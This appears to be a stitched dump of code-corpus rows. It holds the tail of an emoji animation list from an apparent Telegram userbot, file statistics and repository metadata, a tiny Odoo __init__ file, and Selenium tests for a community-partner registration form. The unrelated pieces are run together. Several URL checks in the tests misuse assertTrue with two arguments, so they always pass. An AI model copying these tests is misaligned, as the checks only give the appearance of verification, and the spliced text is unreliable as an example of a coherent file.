"`◼️◼️◼️◼️◼️\n🌕◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️☀\n◼️◼️◼️◼️◼️`",
"`◼️🌕◼️◼️◼️\n◼️◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️◼️\n◼️◼️◼️☀◼️`",
"`◼️◼️◼️🌕◼️\n◼️◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️◼️\n◼️☀◼️◼️◼️`",
"`◼️◼️◼️◼️◼️\n◼️◼️◼️◼️🌕\n◼️◼️🌎◼️◼️\n☀◼️◼️◼️◼️\n◼️◼️◼️◼️◼️`",
"`◼️◼️◼️◼️◼️\n☀◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️🌕\n◼️◼️◼️◼️◼️`",
"`◼️☀◼️◼️◼️\n◼️◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️◼️\n◼️◼️◼️🌕◼️`",
"`◼️◼️◼️☀◼️\n◼️◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️◼️\n◼️🌕◼️◼️◼️`",
"`◼️◼️◼️◼️◼️\n◼️◼️◼️◼️☀\n◼️◼️🌎◼️◼️\n🌕◼️◼️◼️◼️\n◼️◼️◼️◼️◼️`",
"`◼️◼️◼️◼️◼️\n🌕◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️☀\n◼️◼️◼️◼️◼️`",
"`◼️🌕◼️◼️◼️\n◼️◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️◼️\n◼️◼️◼️☀◼️`",
"`◼️◼️◼️🌕◼️\n◼️◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️◼️\n◼️☀◼️◼️◼️`",
"`◼️◼️◼️◼️◼️\n◼️◼️◼️◼️🌕\n◼️◼️🌎◼️◼️\n☀◼️◼️◼️◼️\n◼️◼️◼️◼️◼️`",
"`◼️◼️◼️◼️◼️\n☀◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️🌕\n◼️◼️◼️◼️◼️`",
"`◼️☀◼️◼️◼️\n◼️◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️◼️\n◼️◼️◼️🌕◼️`",
"`◼️◼️◼️☀◼️\n◼️◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️◼️\n◼️🌕◼️◼️◼️`",
"`◼️◼️◼️◼️◼️\n◼️◼️◼️◼️☀\n◼️◼️🌎◼️◼️\n🌕◼️◼️◼️◼️\n◼️◼️◼️◼️◼️`",
"`◼️◼️◼️◼️◼️\n🌕◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️☀\n◼️◼️◼️◼️◼️`",
"`◼️🌕◼️◼️◼️\n◼️◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️◼️\n◼️◼️◼️☀◼️`",
"`◼️◼️◼️🌕◼️\n◼️◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️◼️\n◼️☀◼️◼️◼️`",
"`◼️◼️◼️◼️◼️\n◼️◼️◼️◼️🌕\n◼️◼️🌎◼️◼️\n☀◼️◼️◼️◼️\n◼️◼️◼️◼️◼️`",
"`◼️◼️◼️◼️◼️\n☀◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️🌕\n◼️◼️◼️◼️◼️`",
"`◼️☀◼️◼️◼️\n◼️◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️◼️\n◼️◼️◼️🌕◼️`",
"`◼️◼️◼️☀◼️\n◼️◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️◼️\n◼️🌕◼️◼️◼️`",
"`◼️◼️◼️◼️◼️\n◼️◼️◼️◼️☀\n◼️◼️🌎◼️◼️\n🌕◼️◼️◼️◼️\n◼️◼️◼️◼️◼️`",
"`◼️◼️◼️◼️◼️\n🌕◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️☀\n◼️◼️◼️◼️◼️`",
"`◼️🌕◼️◼️◼️\n◼️◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️◼️\n◼️◼️◼️☀◼️`",
"`◼️◼️◼️🌕◼️\n◼️◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️◼️\n◼️☀◼️◼️◼️`",
"`◼️◼️◼️◼️◼️\n◼️◼️◼️◼️🌕\n◼️◼️🌎◼️◼️\n☀◼️◼️◼️◼️\n◼️◼️◼️◼️◼️`",
"`◼️◼️◼️◼️◼️\n☀◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️🌕\n◼️◼️◼️◼️◼️`",
"`◼️☀◼️◼️◼️\n◼️◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️◼️\n◼️◼️◼️🌕◼️`",
"`◼️◼️◼️☀◼️\n◼️◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️◼️\n◼️🌕◼️◼️◼️`",
"`◼️◼️◼️◼️◼️\n◼️◼️◼️◼️☀\n◼️◼️🌎◼️◼️\n🌕◼️◼️◼️◼️\n◼️◼️◼️◼️◼️`",
"`◼️◼️◼️◼️◼️\n🌕◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️☀\n◼️◼️◼️◼️◼️`",
"`◼️🌕◼️◼️◼️\n◼️◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️◼️\n◼️◼️◼️☀◼️`",
"`◼️◼️◼️🌕◼️\n◼️◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️◼️\n◼️☀◼️◼️◼️`",
"`◼️◼️◼️◼️◼️\n◼️◼️◼️◼️🌕\n◼️◼️🌎◼️◼️\n☀◼️◼️◼️◼️\n◼️◼️◼️◼️◼️`",
"`◼️◼️◼️◼️◼️\n☀◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️🌕\n◼️◼️◼️◼️◼️`",
"`◼️☀◼️◼️◼️\n◼️◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️◼️\n◼️◼️◼️🌕◼️`",
"`◼️◼️◼️☀◼️\n◼️◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️◼️\n◼️🌕◼️◼️◼️`",
"`◼️◼️◼️◼️◼️\n◼️◼️◼️◼️☀\n◼️◼️🌎◼️◼️\n🌕◼️◼️◼️◼️\n◼️◼️◼️◼️◼️`",
"`◼️◼️◼️◼️◼️\n🌕◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️☀\n◼️◼️◼️◼️◼️`",
"`◼️🌕◼️◼️◼️\n◼️◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️◼️\n◼️◼️◼️☀◼️`",
"`◼️◼️◼️🌕◼️\n◼️◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️◼️\n◼️☀◼️◼️◼️`",
"`◼️◼️◼️◼️◼️\n◼️◼️◼️◼️🌕\n◼️◼️🌎◼️◼️\n☀◼️◼️◼️◼️\n◼️◼️◼️◼️◼️`",
"`◼️◼️◼️◼️◼️\n☀◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️🌕\n◼️◼️◼️◼️◼️`",
"`◼️☀◼️◼️◼️\n◼️◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️◼️\n◼️◼️◼️🌕◼️`",
"`◼️◼️◼️☀◼️\n◼️◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️◼️\n◼️🌕◼️◼️◼️`",
"`◼️◼️◼️◼️◼️\n◼️◼️◼️◼️☀\n◼️◼️🌎◼️◼️\n🌕◼️◼️◼️◼️\n◼️◼️◼️◼️◼️`",
"`◼️◼️◼️◼️◼️\n🌕◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️☀\n◼️◼️◼️◼️◼️`",
"`◼️🌕◼️◼️◼️\n◼️◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️◼️\n◼️◼️◼️☀◼️`",
"`◼️◼️◼️🌕◼️\n◼️◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️◼️\n◼️☀◼️◼️◼️`",
"`◼️◼️◼️◼️◼️\n◼️◼️◼️◼️🌕\n◼️◼️🌎◼️◼️\n☀◼️◼️◼️◼️\n◼️◼️◼️◼️◼️`",
"`◼️◼️◼️◼️◼️\n☀◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️🌕\n◼️◼️◼️◼️◼️`",
"`◼️☀◼️◼️◼️\n◼️◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️◼️\n◼️◼️◼️🌕◼️`",
"`◼️◼️◼️☀◼️\n◼️◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️◼️\n◼️🌕◼️◼️◼️`",
"`◼️◼️◼️◼️◼️\n◼️◼️◼️◼️☀\n◼️◼️🌎◼️◼️\n🌕◼️◼️◼️◼️\n◼️◼️◼️◼️◼️`",
"`◼️◼️◼️◼️◼️\n🌕◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️☀\n◼️◼️◼️◼️◼️`",
"`◼️🌕◼️◼️◼️\n◼️◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️◼️\n◼️◼️◼️☀◼️`",
"`◼️◼️◼️🌕◼️\n◼️◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️◼️\n◼️☀◼️◼️◼️`",
"`◼️◼️◼️◼️◼️\n◼️◼️◼️◼️🌕\n◼️◼️🌎◼️◼️\n☀◼️◼️◼️◼️\n◼️◼️◼️◼️◼️`",
"`◼️◼️◼️◼️◼️\n☀◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️🌕\n◼️◼️◼️◼️◼️`",
"`◼️☀◼️◼️◼️\n◼️◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️◼️\n◼️◼️◼️🌕◼️`",
"`◼️◼️◼️☀◼️\n◼️◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️◼️\n◼️🌕◼️◼️◼️`",
"`◼️◼️◼️◼️◼️\n◼️◼️◼️◼️☀\n◼️◼️🌎◼️◼️\n🌕◼️◼️◼️◼️\n◼️◼️◼️◼️◼️`",
"`◼️◼️◼️◼️◼️\n🌕◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️☀\n◼️◼️◼️◼️◼️`",
"`◼️🌕◼️◼️◼️\n◼️◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️◼️\n◼️◼️◼️☀◼️`",
"`◼️◼️◼️🌕◼️\n◼️◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️◼️\n◼️☀◼️◼️◼️`",
"`◼️◼️◼️◼️◼️\n◼️◼️◼️◼️🌕\n◼️◼️🌎◼️◼️\n☀◼️◼️◼️◼️\n◼️◼️◼️◼️◼️`",
"`◼️◼️◼️◼️◼️\n☀◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️🌕\n◼️◼️◼️◼️◼️`",
"`◼️☀◼️◼️◼️\n◼️◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️◼️\n◼️◼️◼️🌕◼️`",
"`◼️◼️◼️☀◼️\n◼️◼️◼️◼️◼️\n◼️◼️🌎◼️◼️\n◼️◼️◼️◼️◼️\n◼️🌕◼️◼️◼️`",
]
for i in animation_ttl:
await asyncio.sleep(animation_interval)
await event.edit(animation_chars[i % 549755813888])
| 66.945455 | 76 | 0.080844 | 1,355 | 11,046 | 5.646494 | 0.033948 | 0.310548 | 0.207032 | 0.197621 | 0.959875 | 0.959875 | 0.959875 | 0.959875 | 0.959875 | 0.959875 | 0 | 0.003001 | 0.185588 | 11,046 | 164 | 77 | 67.353659 | 0.095153 | 0 | 0 | 0.90566 | 0 | 0 | 0.74459 | 0.743142 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.018868 | 0 | 0.025157 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 1 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 13 |
a2c735e2cd60537eed33d10c4c8ca61b37118a27 | 119 | py | Python | wecom_message/wizard/__init__.py | rainbow-studio-solution/wecom | 937ea9c15c5ef42ba749c67335ede85544292aad | [
"MulanPSL-1.0"
] | 5 | 2021-12-17T06:44:41.000Z | 2022-02-05T03:34:07.000Z | wecom_message/wizard/__init__.py | rainbow-studio-solution/wecom | 937ea9c15c5ef42ba749c67335ede85544292aad | [
"MulanPSL-1.0"
] | null | null | null | wecom_message/wizard/__init__.py | rainbow-studio-solution/wecom | 937ea9c15c5ef42ba749c67335ede85544292aad | [
"MulanPSL-1.0"
] | 2 | 2022-02-06T13:27:56.000Z | 2022-02-27T08:06:59.000Z | # -*- coding: utf-8 -*-
# from . import mail_compose_message
from . import invite
from . import mail_template_preview
| 19.833333 | 36 | 0.731092 | 16 | 119 | 5.1875 | 0.6875 | 0.361446 | 0.337349 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.01 | 0.159664 | 119 | 5 | 37 | 23.8 | 0.82 | 0.470588 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
0c637b9abb976c3eb91e3d3faff85e712b61a91b | 21,699 | py | Python | tests_scripts/Sprint6/CommPartFormValidation.py | vineethreddyramasa/uno-community-partnership | 694886b7ad7fa98f6dbb24b03476962cfadebc70 | [
"MIT"
] | 13 | 2018-08-30T16:03:18.000Z | 2019-11-25T07:08:43.000Z | tests_scripts/Sprint6/CommPartFormValidation.py | vineethreddyramasa/uno-community-partnership | 694886b7ad7fa98f6dbb24b03476962cfadebc70 | [
"MIT"
] | 814 | 2018-08-30T02:28:55.000Z | 2022-03-11T23:31:45.000Z | tests_scripts/Sprint6/CommPartFormValidation.py | vineethreddyramasa/uno-community-partnership | 694886b7ad7fa98f6dbb24b03476962cfadebc70 | [
"MIT"
] | 6 | 2018-09-16T05:35:49.000Z | 2019-10-17T02:44:19.000Z | from tests_scripts import *
import unittest
from selenium import webdriver
import time
from selenium.webdriver.common.keys import Keys
from selenium.webdriver.support.ui import Select
import os
class CommunityPartnerFormValidation(unittest.TestCase):
def setUp(self):
pathname = os.path.join(os.getcwd(), "chromedriver")
self.driver = webdriver.Chrome(pathname)
def test_url_validation_unhappy_path(self):
driver = self.driver
url1 = 'unomaha.edu'
url2 = 'http://unomaha.edu'
url3 = 'https://unomaha.edu'
driver.maximize_window()
# Without login
driver.get(sta_url + 'partners/registerCommunityPartner')
driver.find_element_by_xpath("//INPUT[@id='id_website_url']/../../../../..//INPUT[@id='id_name']").click()
driver.find_element_by_xpath("//INPUT[@id='id_website_url']/../../../../..//INPUT[@id='id_name']").clear()
driver.find_element_by_xpath("//INPUT[@id='id_website_url']/../../../../..//INPUT[@id='id_name']").send_keys('EdemTest1100')
driver.find_element_by_name("website_url").click()
driver.find_element_by_name("website_url").clear()
driver.find_element_by_name("website_url").send_keys(url1)
time.sleep(3)
self.assertTrue(driver.find_element_by_name("website_url").get_attribute('value'), 'http://' + url1)
Select(driver.find_element_by_id("id_community_type")).select_by_visible_text("Nonprofit")
driver.find_element_by_id("id_address_line1").send_keys('8509 Maple Court')
driver.find_element_by_id("id_city").send_keys('Quebec1')
driver.find_element_by_id("id_state").send_keys('NE1')
driver.find_element_by_id("id_zip").send_keys('68128')
driver.find_element_by_id("id_country").send_keys('Canada')
driver.find_element_by_xpath("//INPUT[@id='id_contact-0-email_id']/../../../..//SELECT[@id='id_contact-0-contact_type']").click()
driver.find_element_by_xpath("//SELECT[@id='id_contact-0-contact_type']/../../../..//INPUT[@id='id_contact-0-email_id']").send_keys('edem@edem.com')
driver.find_element_by_xpath("//INPUT[@id='id_contact-0-last_name']/../../../..//INPUT[@id='id_contact-0-first_name']").send_keys('Edem1')
driver.find_element_by_xpath("//INPUT[@id='id_contact-0-first_name']/../../../..//INPUT[@id='id_contact-0-last_name']").send_keys("Dosseh1")
driver.find_element_by_xpath("//INPUT[@id='id_contact-0-cell_phone']/../../../..//INPUT[@id='id_contact-0-work_phone']").send_keys('4021111111')
Select(driver.find_element_by_id("id_primary_mission-0-mission_area")).select_by_visible_text("Social Justice")
# Terms
driver.find_element_by_xpath('//*[@id="terms"]').click()
#Submit
driver.find_element_by_xpath("//INPUT[@id='terms']/../../..//BUTTON[@type='submit']").click()
bad_city = driver.find_element_by_xpath(
"/html/body/div/div/div/div/div/div/div[2]/form/div[1]"
"/div/div[3]/div[1]/div[2]/strong").text
bad_state = driver.find_element_by_xpath("/html/body/div/div/div/div/div/div/div[2]"
"/form/div[1]/div/div[3]/div[2]/div[2]/strong").text
bad_first_name = driver.find_element_by_xpath('//*[@id="contact1"]'
'/div[3]/div[1]/div[2]/strong').text
bad_last_name = driver.find_element_by_xpath('//*[@id="contact1"]/div[3]'
'/div[2]/div[2]/strong').text
print(bad_city)
print(bad_state)
print(bad_first_name)
print(bad_last_name)
self.assertTrue(bad_city != '')
self.assertTrue(bad_state != '')
self.assertTrue(bad_first_name != '')
self.assertTrue(bad_last_name != '')
def test_url_validation_non_url(self):
driver = self.driver
url1 = 'unomaha.edu'
url2 = 'http://unomaha.edu'
url3 = 'https://unomaha.edu'
driver.maximize_window()
# Without login
driver.get(sta_url + 'partners/registerCommunityPartner')
driver.find_element_by_xpath("//INPUT[@id='id_website_url']/../../../../..//INPUT[@id='id_name']").click()
driver.find_element_by_xpath("//INPUT[@id='id_website_url']/../../../../..//INPUT[@id='id_name']").clear()
driver.find_element_by_xpath("//INPUT[@id='id_website_url']/../../../../..//INPUT[@id='id_name']").send_keys('EdemTest1100')
driver.find_element_by_name("website_url").click()
driver.find_element_by_name("website_url").clear()
driver.find_element_by_name("website_url").send_keys(url1)
time.sleep(3)
self.assertTrue(driver.find_element_by_name("website_url").get_attribute('value'), 'http://' + url1)
driver.find_element_by_name("website_url").click()
driver.find_element_by_name("website_url").clear()
driver.find_element_by_name("website_url").send_keys(url2)
time.sleep(3)
self.assertTrue(driver.find_element_by_name("website_url").get_attribute('value'), 'http://' + url2)
driver.find_element_by_name("website_url").click()
driver.find_element_by_name("website_url").clear()
driver.find_element_by_name("website_url").send_keys(url3)
time.sleep(3)
self.assertTrue(driver.find_element_by_name("website_url").get_attribute('value'), 'https://' + url3)
# Clearing URL
driver.find_element_by_name("website_url").clear()
Select(driver.find_element_by_id("id_community_type")).select_by_visible_text("Nonprofit")
driver.find_element_by_id("id_address_line1").send_keys('8509 Maple Court')
driver.find_element_by_id("id_city").send_keys('Omaha')
driver.find_element_by_id("id_state").send_keys('NE')
driver.find_element_by_id("id_zip").send_keys('68128')
driver.find_element_by_id("id_country").send_keys('USA')
driver.find_element_by_xpath("//INPUT[@id='id_contact-0-email_id']/../../../..//SELECT[@id='id_contact-0-contact_type']").click()
driver.find_element_by_xpath("//SELECT[@id='id_contact-0-contact_type']/../../../..//INPUT[@id='id_contact-0-email_id']").send_keys('edem@edem.com')
driver.find_element_by_xpath("//INPUT[@id='id_contact-0-last_name']/../../../..//INPUT[@id='id_contact-0-first_name']").send_keys('Edem')
driver.find_element_by_xpath("//INPUT[@id='id_contact-0-first_name']/../../../..//INPUT[@id='id_contact-0-last_name']").send_keys("Dosseh")
driver.find_element_by_xpath("//INPUT[@id='id_contact-0-cell_phone']/../../../..//INPUT[@id='id_contact-0-work_phone']").send_keys('4021111111')
Select(driver.find_element_by_id("id_primary_mission-0-mission_area")).select_by_visible_text("Social Justice")
# Terms
driver.find_element_by_xpath('//*[@id="terms"]').click()
#Submit
driver.find_element_by_xpath("//INPUT[@id='terms']/../../..//BUTTON[@type='submit']").click()
def test_url_validation(self):
driver = self.driver
url1 = 'unomaha.edu'
url2 = 'http://unomaha.edu'
url3 = 'https://unomaha.edu'
driver.maximize_window()
# Without login
driver.get(sta_url + 'partners/registerCommunityPartner')
driver.find_element_by_xpath("//INPUT[@id='id_website_url']/../../../../..//INPUT[@id='id_name']").click()
driver.find_element_by_xpath("//INPUT[@id='id_website_url']/../../../../..//INPUT[@id='id_name']").clear()
driver.find_element_by_xpath("//INPUT[@id='id_website_url']/../../../../..//INPUT[@id='id_name']").send_keys('EdemTest1200')
driver.find_element_by_name("website_url").click()
driver.find_element_by_name("website_url").clear()
driver.find_element_by_name("website_url").send_keys(url1)
time.sleep(3)
self.assertTrue(driver.find_element_by_name("website_url").get_attribute('value'), 'http://' + url1)
driver.find_element_by_name("website_url").click()
driver.find_element_by_name("website_url").clear()
driver.find_element_by_name("website_url").send_keys(url2)
time.sleep(3)
self.assertTrue(driver.find_element_by_name("website_url").get_attribute('value'), 'http://' + url2)
driver.find_element_by_name("website_url").click()
driver.find_element_by_name("website_url").clear()
driver.find_element_by_name("website_url").send_keys(url3)
time.sleep(3)
self.assertTrue(driver.find_element_by_name("website_url").get_attribute('value'), 'https://' + url3)
Select(driver.find_element_by_id("id_community_type")).select_by_visible_text("Nonprofit")
driver.find_element_by_id("id_address_line1").send_keys('8509 Maple Court')
driver.find_element_by_id("id_city").send_keys('Omaha')
driver.find_element_by_id("id_state").send_keys('NE')
driver.find_element_by_id("id_zip").send_keys('68128')
driver.find_element_by_id("id_country").send_keys('USA')
driver.find_element_by_xpath("//INPUT[@id='id_contact-0-email_id']/../../../..//SELECT[@id='id_contact-0-contact_type']").click()
driver.find_element_by_xpath("//SELECT[@id='id_contact-0-contact_type']/../../../..//INPUT[@id='id_contact-0-email_id']").send_keys('edem@edem.com')
driver.find_element_by_xpath("//INPUT[@id='id_contact-0-last_name']/../../../..//INPUT[@id='id_contact-0-first_name']").send_keys('Edem')
driver.find_element_by_xpath("//INPUT[@id='id_contact-0-first_name']/../../../..//INPUT[@id='id_contact-0-last_name']").send_keys("Dosseh")
driver.find_element_by_xpath("//INPUT[@id='id_contact-0-cell_phone']/../../../..//INPUT[@id='id_contact-0-work_phone']").send_keys('4021111111')
Select(driver.find_element_by_id("id_primary_mission-0-mission_area")).select_by_visible_text("Social Justice")
# Terms
driver.find_element_by_xpath('//*[@id="terms"]').click()
#Submit
driver.find_element_by_xpath("//INPUT[@id='terms']/../../..//BUTTON[@type='submit']").click()
def test_with_users(self):
driver = self.driver
url1 = 'unomaha.edu'
url2 = 'http://unomaha.edu'
url3 = 'https://unomaha.edu'
driver.maximize_window()
# Campus partner login
driver.get(sta_url + 'login/')
driver.find_element_by_link_text("Login").click()
driver.find_element_by_name("email").click()
driver.find_element_by_name("email").clear()
driver.find_element_by_name("email").send_keys(campus_partner_user)
driver.find_element_by_name("password").clear()
driver.find_element_by_name("password").send_keys(campus_partner_pwd)
driver.find_element_by_name("password").send_keys(Keys.ENTER)
driver.get(sta_url + 'partners/registerCommunityPartner')
driver.find_element_by_xpath("//INPUT[@id='id_website_url']/../../../../..//INPUT[@id='id_name']").click()
driver.find_element_by_xpath("//INPUT[@id='id_website_url']/../../../../..//INPUT[@id='id_name']").clear()
driver.find_element_by_xpath("//INPUT[@id='id_website_url']/../../../../..//INPUT[@id='id_name']").send_keys('EdemTest106')
driver.find_element_by_name("website_url").click()
driver.find_element_by_name("website_url").clear()
driver.find_element_by_name("website_url").send_keys(url1)
time.sleep(3)
self.assertTrue(driver.find_element_by_name("website_url").get_attribute('value'), 'https://' + url1)
driver.find_element_by_name("website_url").click()
driver.find_element_by_name("website_url").clear()
driver.find_element_by_name("website_url").send_keys(url2)
time.sleep(3)
self.assertTrue(driver.find_element_by_name("website_url").get_attribute('value'), 'http://' + url2)
driver.find_element_by_name("website_url").click()
driver.find_element_by_name("website_url").clear()
driver.find_element_by_name("website_url").send_keys(url3)
time.sleep(3)
self.assertTrue(driver.find_element_by_name("website_url").get_attribute('value'), 'https://' + url3)
Select(driver.find_element_by_id("id_community_type")).select_by_visible_text("Nonprofit")
driver.find_element_by_id("id_address_line1").send_keys('8509 Maple Court')
driver.find_element_by_id("id_city").send_keys('Omaha')
driver.find_element_by_id("id_state").send_keys('NE')
driver.find_element_by_id("id_zip").send_keys('68128')
driver.find_element_by_id("id_country").send_keys('USA')
driver.find_element_by_xpath(
"//INPUT[@id='id_contact-0-email_id']/../../../..//SELECT[@id='id_contact-0-contact_type']").click()
driver.find_element_by_xpath(
"//SELECT[@id='id_contact-0-contact_type']/../../../..//INPUT[@id='id_contact-0-email_id']").send_keys(
'edem@edem.com')
driver.find_element_by_xpath(
"//INPUT[@id='id_contact-0-last_name']/../../../..//INPUT[@id='id_contact-0-first_name']").send_keys('Edem')
driver.find_element_by_xpath(
"//INPUT[@id='id_contact-0-first_name']/../../../..//INPUT[@id='id_contact-0-last_name']").send_keys(
"Dosseh")
driver.find_element_by_xpath(
"//INPUT[@id='id_contact-0-cell_phone']/../../../..//INPUT[@id='id_contact-0-work_phone']").send_keys(
'4021111111')
Select(driver.find_element_by_id("id_primary_mission-0-mission_area")).select_by_visible_text("Social Justice")
# Terms
driver.find_element_by_xpath('//*[@id="terms"]').click()
# Submit
driver.find_element_by_xpath("//INPUT[@id='terms']/../../..//BUTTON[@type='submit']").click()
# campus_partner_user logout:
driver.find_element_by_xpath("(//A[@class='nav-link dropdown-toggle'])[4]").click()
driver.find_element_by_xpath('//*[@id="target"]/ul/li[5]/div/a[3]').click()
assert sta_url + "logout/" in driver.current_url
# Community partner login
driver.get(sta_url + 'login/')
driver.find_element_by_link_text("Login").click()
driver.find_element_by_name("email").click()
driver.find_element_by_name("email").clear()
driver.find_element_by_name("email").send_keys(community_partner_user)
driver.find_element_by_name("password").clear()
driver.find_element_by_name("password").send_keys(community_partner_pwd)
driver.find_element_by_name("password").send_keys(Keys.ENTER)
driver.get(sta_url + 'partners/registerCommunityPartner')
driver.find_element_by_xpath("//INPUT[@id='id_website_url']/../../../../..//INPUT[@id='id_name']").click()
driver.find_element_by_xpath("//INPUT[@id='id_website_url']/../../../../..//INPUT[@id='id_name']").clear()
driver.find_element_by_xpath("//INPUT[@id='id_website_url']/../../../../..//INPUT[@id='id_name']").send_keys('EdemTest107')
driver.find_element_by_name("website_url").click()
driver.find_element_by_name("website_url").clear()
driver.find_element_by_name("website_url").send_keys(url1)
time.sleep(3)
self.assertTrue(driver.find_element_by_name("website_url").get_attribute('value'), 'https://' + url1)
driver.find_element_by_name("website_url").click()
driver.find_element_by_name("website_url").clear()
driver.find_element_by_name("website_url").send_keys(url2)
time.sleep(3)
self.assertTrue(driver.find_element_by_name("website_url").get_attribute('value'), 'http://' + url2)
driver.find_element_by_name("website_url").click()
driver.find_element_by_name("website_url").clear()
driver.find_element_by_name("website_url").send_keys(url3)
time.sleep(3)
self.assertTrue(driver.find_element_by_name("website_url").get_attribute('value'), 'https://' + url3)
Select(driver.find_element_by_id("id_community_type")).select_by_visible_text("Nonprofit")
driver.find_element_by_id("id_address_line1").send_keys('8509 Maple Court')
driver.find_element_by_id("id_city").send_keys('Omaha')
driver.find_element_by_id("id_state").send_keys('NE')
driver.find_element_by_id("id_zip").send_keys('68128')
driver.find_element_by_id("id_country").send_keys('USA')
driver.find_element_by_xpath(
"//INPUT[@id='id_contact-0-email_id']/../../../..//SELECT[@id='id_contact-0-contact_type']").click()
driver.find_element_by_xpath(
"//SELECT[@id='id_contact-0-contact_type']/../../../..//INPUT[@id='id_contact-0-email_id']").send_keys(
'edem@edem.com')
driver.find_element_by_xpath(
"//INPUT[@id='id_contact-0-last_name']/../../../..//INPUT[@id='id_contact-0-first_name']").send_keys('Edem')
driver.find_element_by_xpath(
"//INPUT[@id='id_contact-0-first_name']/../../../..//INPUT[@id='id_contact-0-last_name']").send_keys(
"Dosseh")
driver.find_element_by_xpath(
"//INPUT[@id='id_contact-0-cell_phone']/../../../..//INPUT[@id='id_contact-0-work_phone']").send_keys(
'4021111111')
Select(driver.find_element_by_id("id_primary_mission-0-mission_area")).select_by_visible_text("Social Justice")
# Terms
driver.find_element_by_xpath('//*[@id="terms"]').click()
# Submit
driver.find_element_by_xpath("//INPUT[@id='terms']/../../..//BUTTON[@type='submit']").click()
# community_partner_user logout:
driver.find_element_by_xpath("((//A[@class='nav-link'])[2]/../..//A[@class='nav-link dropdown-toggle'])[3]").click()
driver.find_element_by_xpath("(//SPAN[@id='pic']/../..//A[@class='dropdown-item'])[3]").click()
assert sta_url + "logout/" in driver.current_url
# Admin partner login
